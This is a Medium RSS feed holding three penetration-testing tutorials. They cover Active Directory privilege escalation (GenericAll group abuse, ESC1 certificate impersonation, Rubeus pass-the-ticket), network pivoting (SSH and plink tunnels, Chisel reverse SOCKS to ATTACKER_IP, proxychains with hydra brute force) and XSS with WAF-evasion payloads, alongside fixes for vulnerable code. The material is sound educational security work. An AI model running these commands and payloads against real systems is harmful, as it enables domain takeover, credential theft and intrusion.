<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xM0G4D on Medium]]></title>
        <description><![CDATA[Stories by 0xM0G4D on Medium]]></description>
        <link>https://medium.com/@mohamedgad2929?source=rss-6142cca8ad43------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*F646Pz5y_b-o7d4PJEoRcw.jpeg</url>
            <title>Stories by 0xM0G4D on Medium</title>
            <link>https://medium.com/@mohamedgad2929?source=rss-6142cca8ad43------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 08:28:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohamedgad2929/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Internal Active Directory Attack]]></title>
            <link>https://medium.com/@mohamedgad2929/internal-active-directory-attack-45c98e3b88f7?source=rss-6142cca8ad43------2</link>
            <guid isPermaLink="false">https://medium.com/p/45c98e3b88f7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[0xM0G4D]]></dc:creator>
            <pubDate>Wed, 10 Jun 2026 10:07:45 GMT</pubDate>
            <atom:updated>2026-06-10T10:07:45.131Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qnrZ0q-tfNR0XuTc2zUYEg.png" /></figure><h3>Introduction</h3><p>This report highlights several Active Directory attack techniques that can be used to identify and exploit privilege escalation opportunities within a domain.</p><ul><li><strong>Control Path Analysis</strong> — Identifying attack paths and privilege relationships.</li><li><strong>Certificate Abuse (AD CS)</strong> — Exploiting certificate service misconfigurations.</li><li><strong>Privilege Escalation</strong> — Gaining elevated privileges through Active Directory weaknesses.</li></ul><h3>##ADeleg.exe</h3><p>ADeleg.exe is a specialized tool used to analyze and audit Active Directory Delegations and Access Control Lists (ACLs). Unlike exploitation-focused tools such as BloodHound or Certipy, ADeleg is primarily designed to identify delegated permissions and non-default ACL configurations that may introduce security risks or lead to privilege escalation opportunities within the Active Directory environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Budjv46FyiuUOXkw9REs6g.png" /></figure><h4>Key Capabilities</h4><ul><li>Identifying users and groups with unexpected or excessive permissions.</li><li>Reviewing delegated permissions on Organizational Units (OUs), users, and groups.</li><li>Discovering potentially dangerous permissions, including:</li><li>WriteDACL</li><li>WriteOwner</li><li>GenericAll</li><li>GenericWrite</li><li>Reset Password permissions</li></ul><h4>Relationship to Control Path Analysis</h4><p>ADeleg is highly effective at identifying risky ACLs and delegated permissions, while BloodHound excels at visualizing complete attack paths across the Active Directory environment.</p><p>These tools are often used together:</p><ul><li><strong>BloodHound</strong> → Identifies and maps attack paths.</li><li><strong>ADeleg</strong> → Provides detailed visibility into the ACLs and delegated permissions responsible for those paths.</li></ul><h4>Commands</h4><p>Display help information:</p><pre>ADeleg.exe -h</pre><p>Export findings to a CSV file:</p><pre>ADeleg.exe --csv ADelegOutput.csv</pre><p>The exported results can then be reviewed and filtered to identify potentially dangerous permissions and privilege escalation opportunities.</p><h4>Source</h4><p>The tool is available as an open-source project on GitHub.</p><h3>##NetTools</h3><p>NetTools is a Windows-based Active Directory enumeration and administration tool used to gather information about domain objects, network services, and security-related configurations. It provides a graphical interface that simplifies Active Directory reconnaissance and helps identify potential attack paths and security weaknesses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OD_PBVyyCzjjmFGNWDP9Og.png" /></figure><h4>Key Capabilities</h4><ul><li>Enumerating domain users, groups, and computers.</li><li>Querying Active Directory objects and attributes.</li><li>Reviewing group memberships and delegated permissions.</li><li>Identifying domain and forest trust relationships.</li><li>Gathering information from LDAP, DNS, SMB, and other network services.</li><li>Assisting in the discovery of privilege escalation opportunities.</li></ul><h4>Role in Active Directory Assessments</h4><p>NetTools is commonly used during the enumeration phase of an Active Directory assessment. It helps security professionals collect detailed information about the environment and identify areas that require further investigation.</p><p>These findings can be leveraged to:</p><ul><li>Understand the Active Directory structure.</li><li>Identify privileged accounts and groups.</li><li>Discover trust relationships.</li><li>Locate potential attack paths.</li><li>Support privilege escalation analysis.</li></ul><h4>Source</h4><p>The tool is available as an open-source project on GitHub.</p><h3>##Locksmith</h3><p>Locksmith is an Active Directory Certificate Services (AD CS) assessment tool designed to identify and report certificate-related misconfigurations that could be abused by attackers. The tool focuses on detecting insecure certificate templates, enrollment permissions, and other weaknesses associated with certificate-based authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bACjLROMkExhCz_mtRQAXA.jpeg" /></figure><h4>Key Capabilities</h4><ul><li>Identifying vulnerable AD CS configurations.</li><li>Detecting insecure certificate templates.</li><li>Reviewing enrollment and issuance permissions.</li><li>Discovering common AD CS misconfigurations associated with ESC attack paths.</li><li>Highlighting certificate abuse opportunities that may lead to privilege escalation.</li></ul><h4>Role in Active Directory Assessments</h4><p>Locksmith is commonly used during AD CS security assessments to evaluate the security posture of certificate services within the domain. The tool helps identify weaknesses that could allow attackers to request certificates, impersonate privileged users, or gain unauthorized access through certificate-based authentication.</p><p>These findings can be leveraged to:</p><ul><li>Identify certificate abuse opportunities.</li><li>Assess AD CS security risks.</li><li>Support privilege escalation analysis.</li><li>Improve certificate service hardening efforts.</li></ul><h4>Source</h4><p>The tool is available as an open-source project on GitHub.</p><p>One common Active Directory privilege escalation scenario involves abusing the <strong>GenericAll</strong> permission on a group object. Since <strong>GenericAll</strong> grants full control over the target object, an attacker can modify its attributes, including group membership.</p><p>In this example, the membership of the <strong>“Template Managers”</strong> group was first reviewed using the following command:</p><pre>Get-ADGroup &quot;Template Managers&quot; -Properties Members | Select-Object -ExpandProperty Members</pre><p>A user account with <strong>GenericAll</strong> permissions over the group then added the user <strong>Suzie</strong> to the group:</p><pre>Add-ADGroupMember -Identity &quot;Template Managers&quot; -Members &quot;Suzie&quot; -ErrorAction SilentlyContinue</pre><p>The group membership was verified afterward to confirm that the modification was successful:</p><pre>Get-ADGroup &quot;Template Managers&quot; -Properties Members | Select-Object -ExpandProperty Members</pre><p>Finally, the affected user was required to log off and log back on (or use runas) to refresh the security token and obtain the privileges associated with the new group membership.</p><h3>##Certify.exe</h3><p>Certify.exe is an Active Directory Certificate Services (AD CS) assessment tool developed by SpecterOps. It is used to enumerate certificate infrastructure, identify misconfigured or vulnerable certificate templates, and detect potential certificate-based attack paths in a domain.</p><h4>Key Capabilities</h4><ul><li>Enumerates AD CS components like Certificate Authorities (CAs)</li><li>Discovers and analyzes certificate templates</li><li>Identifies insecure or exploitable configurations</li><li>Helps detect privilege escalation paths via certificates</li></ul><h4>Role in AD Assessments</h4><p>Certify is mainly used during the enumeration phase to understand how certificate services are configured and where weaknesses exist. It helps security testers map attack paths related to AD CS.</p><h4>Certificate Abuse</h4><p>If a vulnerable template is found, an attacker may be able to request a certificate that can be used to impersonate other users, including privileged accounts.</p><h4><strong>Security Impact</strong></h4><ul><li>Misconfigured certificate template abuse</li><li>User or admin impersonation</li><li>Privilege escalation</li><li>Potential persistence using issued certificates</li></ul><p>First, the attacker enumerates AD CS to find vulnerable templates:</p><pre>./Certify1.exe find /showallpermissions</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SCy42HpArL9en1cPJF0vVA.png" /></figure><p>This command lists all certificate templates and their permissions to identify weak or over-permissive access (who can enroll or modify templates).</p><p>After identifying a vulnerable template like webserver2026, the attacker checks or uses it:</p><pre>./Certify2.exe manage-template --template webserver2026 --supply-subject --client-auth</pre><ul><li>--template webserver2026 → selects the target certificate template</li><li>--supply-subject → allows the attacker to choose another user’s identity</li><li>--client-auth → enables the certificate for authentication</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5PrH8HsqsUbLqU7p71pCCQ.png" /></figure><p>If the template is misconfigured, the attacker can request a certificate that can be used to authenticate as another user in the domain.</p><h3>Enumerate Certificate Authorities</h3><p>First, identify the available Certificate Authorities (CAs) in the domain:</p><pre>.\Certify1.exe find cas</pre><p><strong>Purpose</strong></p><ul><li>Lists all Enterprise Certificate Authorities.</li><li>Identifies the correct CA name required when requesting a certificate.</li></ul><h4>Obtain the Target User SID</h4><p>Next, retrieve the SID of the privileged account:</p><pre>(Get-ADUser ITAdmin -Properties objectSID | Select -ExpandProperty objectSID).Value</pre><p><strong>Purpose</strong></p><ul><li>Retrieves the Security Identifier (SID) for the ITAdmin account.</li><li>The SID may be required for certificate mapping and validation in some environments.</li></ul><h4>Request a Certificate as ITAdmin</h4><p>After identifying a vulnerable template (Webserver2026), request a certificate while specifying the target user&#39;s UPN:</p><pre>.\Certify2.exe request -ca &quot;Eureka-ADCS01.eureka.local\EUREKA-ADCS01-CA&quot; -template Webserver2026 -upn ITAdmin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*eZggtGHACjhFRy8cr4JtXg.png" /></figure><h4><strong>Parameters</strong></h4><ul><li>-ca → Specifies the target Certificate Authority.</li><li>-template Webserver2026 → Selects the vulnerable certificate template.</li><li>-upn ITAdmin → Requests a certificate containing the UPN of the privileged user.</li></ul><h4><strong>Purpose</strong></h4><ul><li>If the template allows the requester to supply subject information (ESC1 condition), a certificate can be issued that represents the ITAdmin account.</li><li>The issued certificate can later be used for authentication as that user.</li></ul><h4>Save the Issued Certificate</h4><p>After the certificate is issued, copy the Base64 certificate blob returned by Certify.</p><h4><strong>Purpose</strong></h4><ul><li>Preserves the certificate for later authentication.</li><li>Provides evidence of successful certificate issuance.</li></ul><h3>Request a Kerberos TGT Using the Certificate</h3><p>Use the issued certificate with Rubeus to obtain a Kerberos Ticket Granting Ticket (TGT):</p><pre>.\Rubeus.exe asktgt /user:ITAdmin /ptt /certificate:&lt;certificate_blob&gt;</pre><h4><strong>Parameters</strong></h4><ul><li>/user:ITAdmin → Target account to authenticate as.</li><li>/certificate → The certificate obtained from the vulnerable template.</li><li>/ptt → Pass-The-Ticket; injects the TGT into the current session.</li></ul><h4><strong>Purpose</strong></h4><ul><li>Performs certificate-based Kerberos authentication (PKINIT).</li><li>Requests a TGT for the ITAdmin account.</li><li>Loads the ticket into the current logon session.</li></ul><h4>Verify Access</h4><p>Test access to the Domain Controller administrative share:</p><pre>dir \\Eureka-DC01\c$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*17jWEaV885gwdWK0NIbYgw.png" /></figure><h4><strong>Purpose</strong></h4><ul><li>Verifies that the Kerberos ticket is valid.</li><li>Confirms that authentication as ITAdmin was successful.</li><li>Demonstrates access to resources available to the privileged account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rQNapGn8q0pWrRXIg4tzFQ.png" /></figure><h3>Summary</h3><p>This assessment identified Active Directory privilege escalation opportunities through delegated permissions and AD CS misconfigurations. ADeleg, NetTools, Locksmith, and Certify were used to enumerate the environment, identify security weaknesses, and demonstrate abuse scenarios including GenericAll group membership modification and ESC1 certificate-based impersonation of privileged users.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45c98e3b88f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pivoting in Penetration Testing]]></title>
            <link>https://medium.com/@mohamedgad2929/pivoting-in-penetration-testing-cdb3a4701b2a?source=rss-6142cca8ad43------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdb3a4701b2a</guid>
            <dc:creator><![CDATA[0xM0G4D]]></dc:creator>
            <pubDate>Wed, 03 Dec 2025 15:04:22 GMT</pubDate>
            <atom:updated>2025-12-03T15:04:22.763Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91T8SkzbQhukJwtKvPpxgQ.jpeg" /></figure><h3>Introduction: The Bridge to Hidden Networks</h3><p>You’ve just compromised your first target. That initial shell feels like victory — until you realize it’s merely a doorway. The real crown jewels (domain controllers, databases, financial systems) sit deep within the internal network, invisible from the outside. This is where pivoting transforms you from a visitor into an occupant.</p><p>Pivoting isn’t just a technique; it’s the art of turning a single point of entry into complete network control. Let’s break down exactly how to do it.</p><h3>What is Pivoting?</h3><p>Imagine you’ve broken into a building’s lobby, but all the offices are locked. Pivoting is finding the security guard’s master keychain, then using it to explore every floor. Technically, it’s leveraging a compromised system to attack other systems on the same internal network.</p><h3>The Pivoting Toolkit (Practical Methods)</h3><h4><strong><em>A) Port Forwarding</em></strong></h4><blockquote>1. Local Port Forwarding (-L)</blockquote><pre>ssh -L 8080:192.168.1.100:80 user@jumpbox<br># Now: localhost:8080 = 192.168.1.100:80 through jumpbox</pre><blockquote>2. Remote Port Forwarding (-R)</blockquote><pre>ssh -R 9000:localhost:80 user@attacker-ip<br># Target can now reach your port 80 via its port 9000</pre><blockquote>3. Dynamic Port Forwarding (-D)</blockquote><pre>ssh -D 1080 user@compromised-host<br># Creates a SOCKS proxy on port 1080</pre><p>Configure Proxychains:</p><pre># Edit /etc/proxychains.conf<br>socks4 127.0.0.1 1080<br><br># Now route any tool through the pivot:<br>proxychains nmap -sT -Pn 192.168.1.0/24<br>proxychains hydra -l admin -P wordlist.txt ssh://192.168.1.*</pre><h4>B) Metasploit’s Autoroute</h4><pre># After gaining a meterpreter session:<br>meterpreter &gt; run autoroute -s 192.168.1.0/24<br><br># Verify the route:<br>meterpreter &gt; run autoroute -p</pre><p><strong>Tip:</strong> Combine autoroute with port forwarding for specific services:</p><pre>meterpreter &gt; portfwd add -l 1234 -p 3389 -r 192.168.1.10<br># -l --&gt; listener port <br># -p --&gt; local port<br># Access the internal RDP via your local 3389 port</pre><h4>C) Modern Tools: Chisel — Fast &amp; Stealthy</h4><pre># On attacker machine (server mode):<br>./chisel server -p 8080 --reverse<br><br># On compromised host (client mode):<br>./chisel client ATTACKER_IP:8080 R:socks</pre><p><em>Why Chisel Rocks:</em></p><p><em>1- Single binary, no dependencies</em></p><p><em>2- Encrypted traffic (looks like random data)</em></p><p><em>3- Can bypass some IDS/IPS systems</em></p><p><em>4- Supports multiple concurrent connections</em></p><h4>D) Plink for Windows Environments</h4><pre># Using Plink (SSH for Windows):<br>plink.exe -ssh -l username -pw password -D 1080 attacker-ip<br># Creates a SOCKS proxy from Windows to your machine<br><br># Or reverse port forward:<br>plink.exe -ssh -l username -pw password -R 3389:localhost:3389 attacker-ip</pre><h3>#Building Your Lab :&gt;</h3><ol><li>TryHackMe: “Pivoting” and “Post-Exploitation” rooms</li><li>HackTheBox: Machines like “OpenAdmin,” “Monteverde” .</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*JleK_tcYOkgN3tQW-kVzcQ@2x.jpeg" /></figure><p>#PenetrationTesting #Pivoting #RedTeam #CyberSecurity #NetworkSecurity #EthicalHacking #Metasploit #Proxychain</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdb3a4701b2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From <script> to %5% — A Practical Guide to XSS & Evasion]]></title>
            <link>https://medium.com/@mohamedgad2929/from-script-to-5-a-practical-guide-to-xss-evasion-e963c3daa3e0?source=rss-6142cca8ad43------2</link>
            <guid isPermaLink="false">https://medium.com/p/e963c3daa3e0</guid>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[waf]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[website]]></category>
            <dc:creator><![CDATA[0xM0G4D]]></dc:creator>
            <pubDate>Sat, 20 Sep 2025 18:12:28 GMT</pubDate>
            <atom:updated>2025-09-20T18:14:27.511Z</atom:updated>
            <content:encoded><![CDATA[<h3>From &lt;script&gt; to %5% — A Practical Guide to XSS &amp; Evasion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2BnVGF8xp3AORmT23QOiw.jpeg" /></figure><p>Cross-site scripting <strong><em>(XSS)</em></strong> remains one of the web’s most persistent and misunderstood vulnerabilities: an attacker injects a payload that the victim’s browser ends up executing, and the impact can range from annoying popups to full account takeover. In this article I’ll walk you through the full picture — the three <em>XSS</em> families<em> (reflected, stored, and DOM)</em>, where payloads typically land depending on context (HTML text, attributes, or inline JavaScript), and how attackers obfuscate and evade naive filters.</p><p>A <strong>reflected XSS vulnerability</strong> happens when an application directly returns user-supplied input in the response without sanitization or escaping.</p><ul><li>Example: A search feature that takes a query (?q=table) and echoes it back in the results page.</li><li>If input is not handled safely, an attacker can inject malicious code like:</li></ul><pre>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><ul><li>URL :</li></ul><p><strong><em>http://website.com/index.php?q=&lt;script&gt;alert(document.cookie)&lt;/script?</em></strong></p><h3>_ Vulnerable Web Application _</h3><p>In the following subsections, we provide examples of <strong>vulnerable code</strong> in the following languages and <strong>Solve</strong> the vulnerable code :</p><blockquote>PHP</blockquote><ul><li>Vulnerable code :(</li></ul><pre>$search = $_GET[&#39;q&#39;];<br>echo &quot;&lt;p&gt;You searched for: $search&lt;/p&gt;&quot;;</pre><ul><li>Solve :)</li></ul><pre>$search = $_GET[&#39;q&#39;];<br>echo &quot;&lt;p&gt;You searched for: &quot; . htmlspecialchars($search, ENT_QUOTES, &#39;UTF-8&#39;) .<br> &quot;&lt;/p&gt;&quot;;</pre><blockquote>JavaScript (Node.js)</blockquote><ul><li>Vulnerable code :(</li></ul><pre>res.send(&#39;You searched for: &#39; + req.query.q);</pre><ul><li>Solve :)</li></ul><pre>const escapeHtml = require(&#39;escape-html&#39;);<br>res.send(&#39;You searched for: &#39; + escapeHtml(req.query.q));</pre><blockquote>Python (Flask)</blockquote><ul><li>Vulnerable code :(</li></ul><pre>return f&quot;You searched for: {request.args.get(&#39;q&#39;)}&quot;</pre><ul><li>Solve :)</li></ul><pre>from markupsafe import escape<br>return f&quot;You searched for: { escape(request.args.get(&#39;q&#39;)) }&quot;</pre><blockquote>C# (ASP.NET)</blockquote><ul><li>Vulnerable code :(</li></ul><pre>Response.Write(&quot;User Input: &quot; + Request.QueryString[&quot;q&quot;]);</pre><ul><li>Solve :)</li></ul><pre>Response.Write(&quot;User Input: &quot; + HttpUtility.HtmlEncode(Request.QueryString[&quot;q&quot;]));</pre><p><strong>A Stored (persistent) XSS</strong> happens when an application stores attacker-supplied input (comments, profile fields, forum posts, etc.) in a back-end data store and later renders that stored data into pages without proper encoding or sanitization. Anyone who views the stored content may execute the attacker’s script in their browser.</p><p>Example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*L3jujHRyPeWFx8ggcdYzOA.jpeg" /></figure><p>1- In the <strong>comment text box</strong>, you injected the payload</p><p>2- After submitting the comment, the application stored your input and then rendered it back on the page <strong>without sanitization or escaping</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*1U_lXBLD6hCsKrgs26L1Tg.jpeg" /></figure><p>As a result, your JavaScript executed in the victim’s browser.</p><ul><li>The <em>alert(document.cookie)</em> code ran.</li><li>This triggered a popup showing the current session cookie (e.g., <em>PHPSESSID=nr83o4s88h3lv3nhu9e9u1bb5</em>).</li></ul><p>A<strong> DOM-based XSS </strong>is a client-side vulnerability where attacker-controlled data (from the URL, fragment/hash, <em>document.referrer</em>, <em>postMessage</em>or other DOM sources) is used by JavaScript to modify the page in a dangerous way. The server may never see the malicious payload — everything happens in the browser.</p><h3>Sources (where attacker data often comes from)</h3><ul><li><em>location.search</em> (query string)</li><li><em>location.hash</em> (fragment)</li><li><em>document.referrer</em></li><li><em>document.cookie</em> (if accessible)</li><li><em>postMessage()</em> messages from other frames/windows</li><li>Any DOM node content that can be set by an external actor (e.g., contentEditable, third-party widgets)</li></ul><h3>Dangerous sinks (what makes it execute)</h3><ul><li><em>element.innerHTML, </em><em>element.outerHTML</em></li><li><em>document.write(), </em><em>insertAdjacentHTML()</em></li><li><em>eval(), </em><em>new Function(), </em><em>setTimeout(string)</em></li><li><em>setAttribute(&#39;onclick&#39;, ...)</em> or building attributes with untrusted text</li><li>l<em>ocation.href</em>/<em>location.assign()</em> with <em>javascript:</em> schemes (rare modern browsers)</li><li><em>innerHTML</em>-like helpers in libraries (e.g., jQuery <em>.html()</em>)</li></ul><p>Example:</p><p>Vulnerable Code :(</p><pre> &lt;div id=&quot;greeting&quot;&gt;&lt;/div&gt;<br>    &lt;script&gt;<br>        const name = new URLSearchParams(window.location.search).get(&#39;name&#39;);<br>        document.write(&quot;Hello, &quot; + name);<br>    &lt;/script&gt;</pre><p>Safe Code :)</p><pre>&lt;div id=&quot;greeting&quot;&gt;&lt;/div&gt;<br>    &lt;script&gt;<br>        const name = new URLSearchParams(window.location.search).get(&#39;name&#39;);<br>        // Escape the user input to prevent XSS attacks<br>        const escapedName = encodeURIComponent(name);<br>        document.getElementById(&quot;greeting&quot;).textContent = &quot;Hello, &quot; + escapedName;<br>    &lt;/script&gt;</pre><p>One way to fix this page is by avoiding adding user input directly with document.write(). Instead, we first escaped the user input using encodeURIComponent() and then added it to textContent</p><h3>What is Hex Encoding?</h3><p>Hex encoding is a way of converting data into a format that uses numbers and letters from the hexadecimal system (base 16). Instead of using the regular ASCII characters like ‘A’, ‘B’, or ‘C’, hex encoding represents them using two-digit combinations of numbers (0–9) and letters (A-F). This is commonly used in web development to safely represent characters that might not be easily readable or allowed in URLs or other web-based systems. For example, the letter “A” in ASCII is represented as “41” in hex. It’s a method of encoding information in a way that’s compatible with computer systems and web protocols.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*jvvaXJEbbVgFIO_tgpqxIA.png" /></figure><p>And THIS TABLE will show to you more :</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fairtable.com%2Fembed%2Fapp9DB3Ox34FFNtjr%2FshrBDP5mRFW7HVmtI%2Ftblp9oIgamyFdvTIe%2FviwIS8WFSOE1aY1y0&amp;display_name=Airtable&amp;url=https%3A%2F%2Fairtable.com%2Fapp9DB3Ox34FFNtjr%2FshrBDP5mRFW7HVmtI%2Ftblp9oIgamyFdvTIe%2FviwIS8WFSOE1aY1y0&amp;image=https%3A%2F%2Fstatic.airtable.com%2Fimages%2Foembed%2Fairtable_brand.png&amp;type=text%2Fhtml&amp;schema=airtable" width="800" height="533" frameborder="0" scrolling="no"><a href="https://medium.com/media/7c3222191222417b0f54dc8be6ecb38a/href">https://medium.com/media/7c3222191222417b0f54dc8be6ecb38a/href</a></iframe><h3><strong>Testing Hex-Encoding the Payload</strong></h3><ul><li>Instead of directly injecting an XSS payload, I encoded the input using hexadecimal characters. For instance, the payload &lt;script&gt;alert(1)&lt;/script&gt; was hex-encoded as:</li></ul><pre>&amp;#x3C;script&amp;#x3E;alert(1)&amp;#x3C;/script&amp;#x3E;</pre><h4>Bypassing WAFs</h4><ul><li><strong>Obfuscate keywords</strong> (e.g. <em>scr&lt;script&gt;ipt, </em><em>ja&amp;#x76;ascript:</em>)<br> Attackers split or encode reserved words so naive pattern-matching (<em>/javascript:/</em> or <em>/\&lt;script\&gt;/</em>) misses them.</li><li><strong>Encoded whitespace</strong> (e.g. <em>&lt;svg%0donload=alert(1)&gt;</em>)<br> Using percent-encoding or control chars (tabs, CR/LF) inside tokens to break simple rules that expect plain spaces.</li><li><strong>Polyglot payloads and null bytes (</strong><em>%00</em><strong>)</strong><br> Mixing multiple syntaxes (HTML, JS, CSS) or inserting null bytes to confuse parsers/filters, or to terminate strings in some languages.</li></ul><h4>Proof of Concept (POC)</h4><ul><li><strong>Payload for Actionable Exploitation</strong>:</li></ul><pre>Input: &lt;b onclick=&quot;&amp;#x61;&amp;#x6C;&amp;#x65;&amp;#x72;&amp;#x74;&amp;#x28;&amp;#x64;&amp;#x6F;&amp;#x63;&amp;#x75;&amp;#x6D;&amp;#x65;&amp;#x6E;&amp;#x74;&amp;#x2E;&amp;#x63;&amp;#x6F;&amp;#x6F;&amp;#x6B;&amp;#x69;&amp;#x65;&amp;#x29;&quot;&gt;click here&lt;/b&gt;</pre><ul><li><strong>decodes to :</strong></li></ul><pre>Input: &lt;b onclick=&quot;alert(document.cookie)&quot;&gt;click here&lt;/b&gt;</pre><p>AND DONE YOU GET COOKIES!!😎</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*6skFqWPRJmke-Sw7lRbuGg.png" /></figure><h4>Conclusion :</h4><ul><li><strong>XSS is not just input-output</strong>: the real risk comes from <strong>untrusted sources</strong> like <em>location.hash, </em><em>document.cookie</em>, or <em>postMessage</em>.</li><li><strong>Execution happens at dangerous sinks</strong> such as <em>innerHTML</em>, <em>document.write, </em><em>eval</em>, or dynamically built event attributes.</li><li><strong>DOM-based XSS is even trickier</strong> because it executes entirely in the browser, often bypassing server-side filters.</li><li><strong>Core protections:</strong></li><li><strong>Escape</strong> output according to its context (HTML / Attribute / JS / URL).</li><li>Use <em>textContent</em> or <em>createTextNode</em> instead of <em>innerHTML</em>.</li><li>If HTML is <strong>required, sanitize</strong> with a trusted library (DOMPurify, etc.).</li><li>Validate the <em>origin</em> in <em>postMessage</em>.</li><li>Avoid <em>eval</em> or <em>new Function</em>.</li><li>Add<strong> CSP</strong> as a defense-in-depth layer.</li><li><strong>Encoding pitfalls</strong>: Always validate <em>%xx</em> sequences before decoding, and never blindly double-decode.</li></ul><h4>THANKS FOR READING &amp; STAY CURIOUS, STAY ETHICAL .👾</h4><p>Written by <a href="https://medium.com/u/6142cca8ad43">0xM0G4D</a></p><p>linkedin profile: <a href="https://www.linkedin.com/in/mogad77/">https://www.linkedin.com/in/mogad77/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e963c3daa3e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>